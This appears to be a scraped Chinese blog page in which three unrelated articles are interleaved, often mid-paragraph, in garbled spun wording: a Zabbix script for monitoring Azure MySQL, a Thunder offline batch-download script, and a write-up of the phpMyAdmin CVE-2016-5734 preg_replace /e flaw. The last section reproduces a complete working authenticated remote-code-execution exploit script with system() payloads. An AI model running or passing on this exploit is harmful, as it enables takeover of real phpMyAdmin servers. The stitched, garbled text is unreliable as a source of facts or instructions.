拓展离线迅雷批量下载,命令推行漏洞

这里拿cve-2016-5734讲讲preg_replace引发的命令实行漏洞,漏洞在exploit-db上有利用脚本,经过测量试验没不正常。这里对这几个漏洞实行一下回顾追踪来讲明下preg_replace那个正则替换函数带来的难题。
0x01 漏洞触发原理

由于微软云上的MySQL实例不可能安装插件来导出多少,因而参照他事他说加以考察上一篇 通过Zabbix官方模板监察和控制微软云Azure上多台Redis实例,
大家能够修改zabbix官方redis脚本,通过show
status等一声令下获取到mysql的情形目标,用trap-messages格局发送给zabbix来监督微软云上的MySQL实例。

在Linux下财富下载的进程长时间受限,ed2k,torrent什么都木有速度,坑爹呀,自从购买了迅雷VIP的服务,能够直接以http方式来从迅雷服务器内下载本人托迅雷下载的东西,並且假使你这么些能源外人下载过的话,你就毫无再行下载了,迅雷马上提醒您那么些任务已经成功了。

preg_replace漏洞触发有七个前提:

1. 运行碰着:

OS:CentOS 7.3 /
Python: 2.7.3/ Pip: 9.0.1  / Zabbix:3.2.8 / MySQL:微软云MySQL 5.7

Zabbix官方提供的redis监察和控制模板,大家修改官方提供的python脚本来监察和控制MySQL。

品类地址:

Zabbix所有合法模板:

有关别的的,用过的人都领悟了,也不再细说。假设windows平台协作迅雷客户端用迅雷VIP的话,那些本子也从没什么意思了(因为客户端更人性化^_^,当然占用能源也相当多,嘿嘿),所以前提是你的OS借使Linux,然后采纳迅雷离线的web分界面。

01:第2个参数供给e标记符,有了它能够试行第二个参数的授命
02:第一个参数供给在第几个参数中的中有协作,不然echo会再次回到第多个参数而不执行命令,举个例证:

2. 部署 

  trap-messages形式的验证请参见上一篇 经过Zabbix官方模板监察和控制微软云Azure上多台Redis实例。

  1> 安装Python依赖

# yum -y install python-pip
# pip install argparse
# pip install pymysql

  2>
将zbx_redis_stats.py放到zabbix服务器上某路线下因人而异命名,如/etc/zabbix/script/mysql/zbx_mysql_stats.py。

  3> 修改剧本,上边是自己修改的台本,监控了show
status获取的新闻以及数额库表占用的空中等消息,能够一直拷贝,大概增加自身须要监察和控制的其他音信。

# !/usr/bin/python

import sys, pymysql, json, re, struct, time, socket, argparse

parser = argparse.ArgumentParser(description=’Zabbix MySQL status
script’)
parser.add_argument(‘mysql_hostname’, nargs=’?’)
parser.add_argument(‘metric’, nargs=’?’)
parser.add_argument(‘db’, default=’none’, nargs=’?’)
parser.add_argument(‘-p’, ‘–port’, dest=’mysql_port’, action=’store’,
help=’MySQL server port’, default=3306, type=int)
parser.add_argument(‘-a’, ‘–auth’, dest=’mysql_pass’, action=’store’,
help=’MySQL server pass’, default=None)
parser.add_argument(‘-u’, ‘–user’, dest=’mysql_user’, action=’store’,
help=’MySQL server user’, default=None)
args = parser.parse_args()

zabbix_host = ‘127.0.0.1’  # Zabbix Server IP
zabbix_port = 10051  # Zabbix Server Port

# Name of monitored server like it shows in zabbix web ui display
mysql_hostname = args.mysql_hostname if args.mysql_hostname else
socket.gethostname()

class Metric(object):
    def __init__(self, host, key, value, clock=None):
        self.host = host
        self.key = key
        self.value = value
        self.clock = clock

    def __repr__(self):
        result = None
        if self.clock is None:
            result = ‘Metric(%r, %r, %r)’ % (self.host, self.key,
self.value)
        else:
            result = ‘Metric(%r, %r, %r, %r)’ % (self.host, self.key,
self.value, self.clock)
        return result

def value_format(value):
    if value.isdigit() is True:
        value = int(value)
    return value

def send_to_zabbix(metrics, zabbix_host=’127.0.0.1′,
zabbix_port=10051):
    result = None
    j = json.dumps
    metrics_data = []
    for m in metrics:
        clock = m.clock or (‘%d’ % time.time())
        metrics_data.append(
            (‘{“host”:%s,”key”:%s,”value”:%s,”clock”:%s}’) % (j(m.host),
j(m.key), j(m.value), j(clock)))
    json_data = (‘{“request”:”sender data”,”data”:[%s]}’) %
(‘,’.join(metrics_data))
    data_len = struct.pack(‘<Q’, len(json_data))
    packet = ‘ZBXD\x01’ + data_len + json_data

    # For debug:
    # print(packet)
    # print(‘:’.join(x.encode(‘hex’) for x in packet))

    try:
        zabbix = socket.socket()
        zabbix.connect((zabbix_host, zabbix_port))
        zabbix.sendall(packet)
        resp_hdr = _recv_all(zabbix, 13)
        if not resp_hdr.startswith(‘ZBXD\x01’) or len(resp_hdr) !=
13:
            print(‘Wrong zabbix response’)
            result = False
        else:
            resp_body_len = struct.unpack(‘<Q’,
resp_hdr[5:])[0]
            resp_body = zabbix.recv(resp_body_len)
            zabbix.close()

            resp = json.loads(resp_body)
            # For debug
            # print(resp)
            if resp.get(‘response’) == ‘success’:
                result = True
            else:
                print(‘Got error from Zabbix: %s’ % resp)
                result = False
    except:
        print(‘Error while sending data to Zabbix’)
        result = False
    finally:
        return result

def _recv_all(sock, count):
    buf = ”
    while len(buf) < count:
        chunk = sock.recv(count – len(buf))
        if not chunk:
            return buf
        buf += chunk
    return buf

def main():
    if mysql_hostname and args.metric:

        client = pymysql.connect(host=mysql_hostname,
user=args.mysql_user, password=args.mysql_pass)
        cursor = client.cursor()
        cursor.execute(“show status”)
        data = cursor.fetchall()
        dict_local = {}
        for k, v in data:
            dict_local[k] = v

        cursor.execute(“select SCHEMA_NAME from
information_schema.schemata “)
        db = cursor.fetchall()
        dblist = []
        for i in db:
            dblist.append(i[0])

        if args.metric:
            def list_db():
                if args.db in dblist:
                    print(dblist)
                else:
                    print(‘database_detect’)

            def default():
                if args.metric in dict_local.keys():
                    print(dict_local[args.metric])

            {
                ‘list_db’: list_db
            }.get(args.metric, default)()

        else:
            print(‘Not selected metric’)
    else:
        client = pymysql.connect(host=mysql_hostname,
user=args.mysql_user, password=args.mysql_pass)
        cursor = client.cursor()
        cursor.execute(“show status”)
        data = cursor.fetchall()

        a = []
        for k, v in data:
            k = k.lower()
            v = value_format(v)
            a.append(Metric(mysql_hostname, (‘azuremysql[%s]’ % k),
v))

        # cursor.execute(“show processlist;”)
        cursor.execute(“select count(*) from
information_schema.processlist;”)
        processdata = cursor.fetchall()
        # process_count = len(processdata)
        process_count = processdata[0][0]
        a.append(Metric(mysql_hostname, ‘azuremysql[process_count]’,
process_count))

        cursor.execute(
            “select
table_schema,round(sum(data_length+index_length)/1024/1024,4) from
information_schema.tables group by table_schema;”)
        spacedata = cursor.fetchall()
        totalspace = 0
        for k, v in spacedata:
            a.append(Metric(mysql_hostname, (‘azuremysql[%s]’ % k),
float(v)))
            totalspace += float(v)
        a.append(Metric(mysql_hostname, ‘azuremysql[totalspace]’,
totalspace))

        # Send packet to zabbix
        send_to_zabbix(a, zabbix_host, zabbix_port)
        # for i in a:
        #  print(i)
        cursor.close()
        client.close()

if __name__ == ‘__main__’:
    main()

图片 1

 

zbx_mysql_stats.py��以到Linux公社财富站下载:

——————————————分割线——————————————

无需付费下载地址在

用户名与密码都以www.linuxidc.com

现实下载目录在
/二零一七年龄资历料/1五月/30日/通过修改Zabbix官方redis模板监察和控制微软云Azure上多台MySQL实例/

下载格局见
http://www.linuxidc.com/Linux/2013-07/87684.htm

——————————————分割线——————————————

  4>  测量检验脚本是不是能够符合规律连接到微软云上MySQL并得到参数:

/etc/zabbix/script/mysql/zbx_mysql_status.py -u mysqluser -a mysqlpasswd test.mysqldb.chinacloudapi.cn list_db 

  5>
加多crontab,定时施行脚本发送数据给zabbix,注意若密码中含有%须要用 \
进行转义 (\%)。

    若要监察和控制多台MySQL,则增加多少个crontab:

*/1 * * * * /etc/zabbix/script/mysql/zbx_mysql_status.py -u mysqluser -a mysqlpasswd test.mysqldb.chinacloudapi.cn

  6>
创造MySQL监察和控制模板,注意监察和控制项项目应挑选”zabbix采撷器”,若使用的本子,键值为”azuremysql[xxxxxxx]”,不然请使用自身脚本定义的键值。

   
附属类小部件是自家成立的三个模板,增多了一些监察和控制项,并不完整,能够在此基础上再增添供给的监督检查项。

    zbx_Azure_MySQL_template.xml 
(下载见上面包车型的士Linux公社财富站)

  7> 使用MySQL hostname创设主机,链接模板,就能够兑现zabbix监察和控制。

图片 2

越来越多Zabbix相关学科集结: 

在Ubuntu
16.04服务器上安装Zabbix 3.2 
http://www.linuxidc.com/Linux/2017-07/145519.htm 

CentOS 7 LNMP景况搭建Zabbix3.0 
http://www.linuxidc.com/Linux/2017-02/140134.htm 

Ubuntu 16.04安装配置监督系列Zabbix2.4 
http://www.linuxidc.com/Linux/2017-03/141436.htm 

Zabbix监控装置配备及警报配置 
http://www.linuxidc.com/Linux/2017-03/141611.htm 

Zabbix触发器表达式详解
http://www.linuxidc.com/Linux/2017-03/141921.htm 

Ubuntu 16.04下安装配备Zabbix3.0 
http://www.linuxidc.com/Linux/2017-02/140395.htm 

CentOS 6.3下Zabbix监控apache server-status
http://www.linuxidc.com/Linux/2013-05/84740.htm 

CentOS 7 下 Zabbix 3.0安装详解
http://www.linuxidc.com/Linux/2017-03/141716.htm 

CentOS 7.4 安装Zabbix 3.4 
http://www.linuxidc.com/Linux/2017-09/147202.htm

64位CentOS 6.2下安装Zabbix 2.0.6 
 http://www.linuxidc.com/Linux/2014-11/109541.htm 

ZABBIX
的详细介绍
:请点这里
ZABBIX
的下载地址
:请点这里

正文恒久更新链接地址:http://www.linuxidc.com/Linux/2017-10/147414.htm

图片 3

是因为firefox下载迅雷离线的东西存在那样多少个难点,举例文件名汉语乱码,要谐和改(暗骂编码ing),不支持断点续传(作者挂过四回,可是无可奈何再度下载了T_T),迅雷在点击下载的时候,响应慢死了,好久才跳出窗口。

//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);

出于那多少个原因,我就去切磋了下PT酱的那多少个离线下载的剧本,然后根据本人的内需再度写如下:

//那样是足以推行命令的

#!/usr/bin/env
python
# -*- coding: utf-8
-*- 
#Time-stamp:
<2011-10-25 21:36:28 Tuesday by roowe>
#File Name:
thuner_xl_with_wget.py
#Author:
bestluoliwe@gmail.com
#My Blog:
www.iroowe.com
 
import re
import time
import os
import logging
import sys
from htmlentitydefs import entitydefs
import subprocess
LOG_FILE = “/tmp/thuner_with_wget.log”
log = None
def
log_init(log_file, quiet=False):
    logger = logging.getLogger()
    logger.setLevel(logging.DEBUG)
    hdlr = logging.FileHandler(log_file)
    formatter = logging.Formatter(“%(asctime)s
%(levelname)s %(message)s”)
    hdlr.setFormatter(formatter)
    logger.addHandler(hdlr)
    if not quiet:
        hdlr = logging.StreamHandler()
        hdlr.setFormatter(formatter)
        logger.addHandler(hdlr)
    return
logger
 
def
handle_entitydef(matchobj):
    key = matchobj.group(1)
    if
entitydefs.has_key(key):
        return
entitydefs[key]
    else:
        return
matchobj.group(0)
def
collect_urls(html, only_bturls =
False):
    “””
    collect urls
    “””
    urls = []
    for name, url
in re.findall(r”<a.+?name=[‘\”]bturls[‘\”] title=[‘\”](.+?)[‘\”].+?href=[‘\”](http.+?)[‘\”]>”,
html):
        name = re.sub(“&(.*?);”, handle_entitydef, name)
        url = re.sub(“&(.*?);”, handle_entitydef, url)
        urls.append((name,
url))
    if not only_bturls:
        for id, name in re.findall(r'<input
id=[\'”]durl(\w+?)[\'”].+title=[\'”](.+?)[\'”].+’,
html):
            result = re.search(r'<input
id=[\'”]dl_url%s[\'”].+value=[\'”](http.*?)[\'”]’ % id,
html)
            if
result:
                name = re.sub(“&(.*?);”, handle_entitydef, name)
                url = result.group(1)
                url = re.sub(“&(.*?);”, handle_entitydef, url)
                urls.append((name,
url))
    log.info(“Filter get %d
links” % len(urls))
    return urls
def
choose_download(urls):
    download_list = {}
    for name, url
in urls:
        while
True:
            ans = raw_input(“Download
%s?[Y/n](default: Y) ” %
name)
            if
len(ans) ==
0:
                ans = True
                break
            elif
ans.lower() ==
‘y’:
                ans = True
                break
            elif
ans.lower() ==
‘n’:
                ans = False
                break
            else:
                sys.stdout.write(“please enter
y or n!\n”)
                continue
        download_list[name] = ans
    return
download_list
def
thuner_xl_with_wget(urls,
output_dir, cookies_file, quiet=False):
    download_list = choose_download(urls)
    for name, url
in urls:
        if len(url) ==
0:
            log.debug(“Empty Link,
Name: ” + name)
            continue
        if not download_list[name]:
            continue
        cmd = [“wget”, “–load-cookies”, cookies_file, “-c”, “-t”, “5”, “-O”, os.path.join(output_dir, name), url]
        if
quiet:
            cmd.insert(1,
“-q”)
        log.info(“wget cmd:
‘%s'” % ‘ ‘.join(cmd))
        ret = subprocess.call(cmd)
        if ret
!= 0:
            log.debug(“wget returned
%d.” % ret)
            if
ret in (3,
8):
                log.error(“Give up ‘%s’,
may be already finished download, or something wrong with disk.”
% name)
            else:
                urls.append((name,
url))
                log.error(“will retry
for %s later.” % name)
            continue
        else:
            log.info(“Finished
%s” % name)
        time.sleep(2)
def
thuner_xl_with_aria2c(urls,
output_dir, cookies_file, quiet=False):
    “””
    download with aria2c
    “””
    download_list = choose_download(urls)
    for name, url
in urls:
        if len(url) ==
0:
            log.debug(“Empty Link,
Name: ” + name)
            continue
        if not download_list[name]:
            continue
        cmd = [“aria2c”, “–load-cookies”, cookies_file, “-d”, output_dir, “-c”, “-m”, “5”, “-s”, “5”, “-o”, name, url]
        if
quiet:
            cmd.insert(1,
“-q”)
        log.info(“wget cmd:
‘%s'” % ‘ ‘.join(cmd))
        ret = subprocess.call(cmd)
        if ret
!= 0:
            log.debug(“wget returned
%d.” % ret)
            if
ret in (13):
                log.error(“Give up ‘%s’,
file already existed.” %
name)
            else:
                urls.append((name,
url))
                log.error(“the exit
status number is %d, and then will retry for %s later.” % (ret,
name))
            continue
        else:
            log.info(“Finished
%s” % name)
        time.sleep(2)
 
if __name__
== “__main__”:
    import
argparse
    parser = argparse.ArgumentParser(description=’Thuner li xian with wget’,
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument(‘-p’,
nargs=’?’, default=”~/user_task.htm”, help=”load
page file”)
    parser.add_argument(‘-c’,
nargs=’?’, default=”~/cookies.txt”, help=”load
cookie file”)
    parser.add_argument(‘-o’,
nargs=’?’, default=”~/Downloads”, help=”output
dir”)
    parser.add_argument(‘-b’,
action=’store_true’, default=False, help=”bt
files only”)
    parser.add_argument(‘-q’,
action=”store_true”, default=False, help=”quiet,
only log to file.”)
    parser.add_argument(‘-a’,
action=”store_true”, default=False, help=”download with aria2c”)
    args = parser.parse_args()
 
    only_bturls, cookies_file, output_dir, page_file, quiet =
args.b, args.c, args.o,
args.p, args.q
 
    page_file = os.path.expanduser(page_file)
    cookies_file = os.path.realpath(os.path.expanduser(cookies_file))
    output_dir = os.path.expanduser(output_dir)
 
    log = log_init(LOG_FILE, quiet =
quiet)
    if not os.path.exists(cookies_file):
        log.info(“please export
cookies file”)
        sys.exit(0)
    if not os.path.isdir(output_dir):
        log.info(“No such
%s”, output_dir)
        sys.exit(0)
    with open(page_file) as f:
        page_html = f.read()
    urls = collect_urls(page_html,
only_bturls)
    if not args.a:
        thuner_xl_with_wget(urls,
output_dir, cookies_file, quiet)
    else:
        thuner_xl_with_aria2c(urls,
output_dir, cookies_file, quiet)

//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’);

图片 4

//echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’);

//那二种未有匹配上,所以再次回到值是第一个参数,不可能实施命令
0x02 触发漏洞地方回溯

cve-贰零壹陆-5734的漏洞难题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让大家看看这些函数:
phpmyadmin_1
$find ,和
$replaceWith能够见见在preg_replace中被引用,让大家回想那四个变量,在getReplacePreview中有调用_getRegexReplaceRows函数
phpmyadmin_2
接轨回溯,在tbl_find_replace中有调用getReplacePreview,相同的时候参数是post传入,下边让我们看看如何接纳构造
phpmyadmin_3
0x03 构造选拔

漏洞使用思路:那几个漏洞近来迫于直接动用,因为有token限制,供给登录抓到token,同时需求结构第八个参数保险和第一个参数相称上,第1个参数可控,然则第三个参数是从数据库中抽出的,所以只可以提前插入到数据库中,然后再抽取来,columnIndex是收取字段值的可控,所以第八个参数也可控了。
流程大致走了一圈,上面看看怎么布局,首先那些漏洞供给有创立表插入字段权限的账号,这里从来用的root账号测量试验的,先创制个表,然后表中插入个字段值为”0/e”
phpmyadmin_4
#!/usr/bin/env python

# cve-2016-5734.py: PhpMyAdmin 4.3.0 – 4.6.2 authorized user RCE
exploit
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex
break with null byte fixed in PHP 5.4.7.
# CVE: CVE-2016-5734
# Author:
https://twitter.com/iamsecurity
# run: ./cve-2016-5734.py -u root –pwd=” -c
“system(‘ls -lua’);”
#

import requests
import argparse
import sys

__author__ = “@iamsecurity”

if __name__ == ‘__main__’:
    parser = argparse.ArgumentParser()
    parser.add_argument(“url”, type=str, help=”URL with path to PMA”)
    parser.add_argument(“-c”, “–cmd”, type=str, help=”PHP command(s)
to eval()”)
    parser.add_argument(“-u”, “–user”, required=True, type=str,
help=”Valid PMA user”)
    parser.add_argument(“-p”, “–pwd”, required=True, type=str,
help=”Password for valid PMA user”)
    parser.add_argument(“-d”, “–dbs”, type=str, help=”Existing
database at a server”)
    parser.add_argument(“-T”, “–table”, type=str, help=”Custom table
name for exploit.”)
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = “test”
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = “prgpwn”
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = “system(‘uname -a’);”

    size = 32
    s = requests.Session()
    # you can manually add proxy support it’s very simple 😉
    # s.proxies = {‘http’: “127.0.0.1:8080”, ‘https’:
“127.0.0.1:8080”}
    s.verify = False
    sql = ”’CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX(‘302F6500’));
    ”’.format(table)

    # get_token
    resp = s.post(url_to_pma + “/?lang=en”, dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find(“token=”) + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print(“Cannot get valid authorization token.”)
        sys.exit(1)

    if custom_table is False:
        data = {
            “is_js_confirmed”: “0”,
            “db”: db,
            “token”: token,
            “pos”: “0”,
            “sql_query”: sql,
            “sql_delimiter”: “;”,
            “show_query”: “0”,
            “fk_checks”: “0”,
            “SQL”: “Go”,
            “ajax_request”: “true”,
            “ajax_page_request”: “true”,
        }
        resp = s.post(url_to_pma + “/import.php”, data,
cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if “success” in resp.json():
                if resp.json()[“success”] is False:
                    first =
resp.json()[“error”][resp.json()[“error”].find(“<code>”)+6:]
                    error = first[:first.find(“</code>”)]
                    if “already exists” in error:
                        print(error)
                    else:
                        print(“ERROR: ” + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        “db”: db,
        “table”: table,
        “token”: token,
        “goto”: “sql.php”,
        “find”: “0/e\0”,
        “replaceWith”: payload,
        “columnIndex”: “0”,
        “useRegex”: “on”,
        “submit”: “Go”,
        “ajax_request”: “true”
    }
    resp = s.post(
        url_to_pma + “/tbl_find_replace.php”, exploit,
cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result =
resp.json()[“message”][resp.json()[“message”].find(“</a>”)+8:]
        if len(result):
            print(“result: ” + result)
            sys.exit(0)
        print(
            “Exploit failed!\n”
            “Try to manually set exploit parameters like –table,
–database and –token.\n”
            “Remember that servers with PHP version greater than
5.4.6”
            ” is not exploitable, because of warning about null byte in
regexp”
        )
        sys.exit(1)

Post Author: admin

发表评论

电子邮件地址不会被公开。 必填项已用*标注